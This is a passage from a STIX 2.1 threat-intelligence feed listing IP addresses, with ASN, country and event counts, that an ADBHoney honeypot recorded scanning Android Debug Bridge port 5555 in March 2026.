        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:05.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-20T10:10:55.000Z",
          "last_seen": "2026-03-20T10:11:57.216Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-20T10:38:30.000Z | last_seen=2026-03-20T10:48:33.992Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--7432728f-9826-4fb9-9db8-d501d0f8a8f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.28.245.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:06.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-20T10:38:30.000Z",
          "last_seen": "2026-03-20T10:48:33.992Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T10:38:28.000Z | last_seen=2026-03-20T10:39:31.485Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--9a3d7368-13fc-4d69-b743-b95534e4de85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.28.245.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:06.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-20T10:38:28.000Z",
          "last_seen": "2026-03-20T10:39:31.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-20T10:13:11.000Z | last_seen=2026-03-20T10:23:22.099Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--f46d730b-99c1-42f8-82f4-5ec2d2ba9c1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:06.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-20T10:13:11.000Z",
          "last_seen": "2026-03-20T10:23:22.099Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T10:10:55.000Z | last_seen=2026-03-20T10:11:57.216Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--96e4de45-ed19-4e26-9ab1-e7ee95d5dec9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:06.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-20T10:10:55.000Z",
          "last_seen": "2026-03-20T10:11:57.216Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-20T11:35:34.000Z | last_seen=2026-03-23T14:36:02.136Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5fca7435-7d56-4552-8551-3de2a1e046b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:00:02.000Z",
      "valid_until": "2026-04-21T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-20T11:35:34.000Z",
          "last_seen": "2026-03-23T14:36:02.136Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-20T11:35:19.000Z | last_seen=2026-03-20T11:36:35.463Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--62e3c9d0-e6b6-4ff8-8347-2824d01ddb7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:00:02.000Z",
      "valid_until": "2026-04-21T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-20T11:35:19.000Z",
          "last_seen": "2026-03-20T11:36:35.463Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-20T11:35:34.000Z | last_seen=2026-03-23T14:36:02.136Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5fca7435-7d56-4552-8551-3de2a1e046b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:00:03.000Z",
      "valid_until": "2026-04-21T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-20T11:35:34.000Z",
          "last_seen": "2026-03-23T14:36:02.136Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-20T11:35:19.000Z | last_seen=2026-03-20T11:36:35.463Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--62e3c9d0-e6b6-4ff8-8347-2824d01ddb7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T12:00:03.000Z",
      "valid_until": "2026-04-21T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-20T11:35:19.000Z",
          "last_seen": "2026-03-20T11:36:35.463Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-20T13:18:30.000Z | last_seen=2026-03-26T17:50:45.182Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-20T13:18:30.000Z",
          "last_seen": "2026-03-26T17:50:45.182Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=37 | first_seen=2026-03-20T13:24:18.000Z | last_seen=2026-03-26T20:16:50.367Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 37,
          "first_seen": "2026-03-20T13:24:18.000Z",
          "last_seen": "2026-03-26T20:16:50.367Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T13:28:11.000Z | last_seen=2026-03-20T13:29:18.843Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0bc4cf96-5f12-415b-aaaf-35ec85d432ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T13:28:11.000Z",
          "last_seen": "2026-03-20T13:29:18.843Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-20T13:29:44.000Z | last_seen=2026-03-20T13:39:46.853Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-20T13:29:44.000Z",
          "last_seen": "2026-03-20T13:39:46.853Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-20T13:18:30.000Z | last_seen=2026-03-26T17:50:45.182Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-20T13:18:30.000Z",
          "last_seen": "2026-03-26T17:50:45.182Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=37 | first_seen=2026-03-20T13:24:18.000Z | last_seen=2026-03-26T20:16:50.367Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 37,
          "first_seen": "2026-03-20T13:24:18.000Z",
          "last_seen": "2026-03-26T20:16:50.367Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T13:28:11.000Z | last_seen=2026-03-20T13:29:18.843Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0bc4cf96-5f12-415b-aaaf-35ec85d432ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T13:28:11.000Z",
          "last_seen": "2026-03-20T13:29:18.843Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-20T13:29:44.000Z | last_seen=2026-03-20T13:39:46.853Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T14:00:03.000Z",
      "valid_until": "2026-04-21T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-20T13:29:44.000Z",
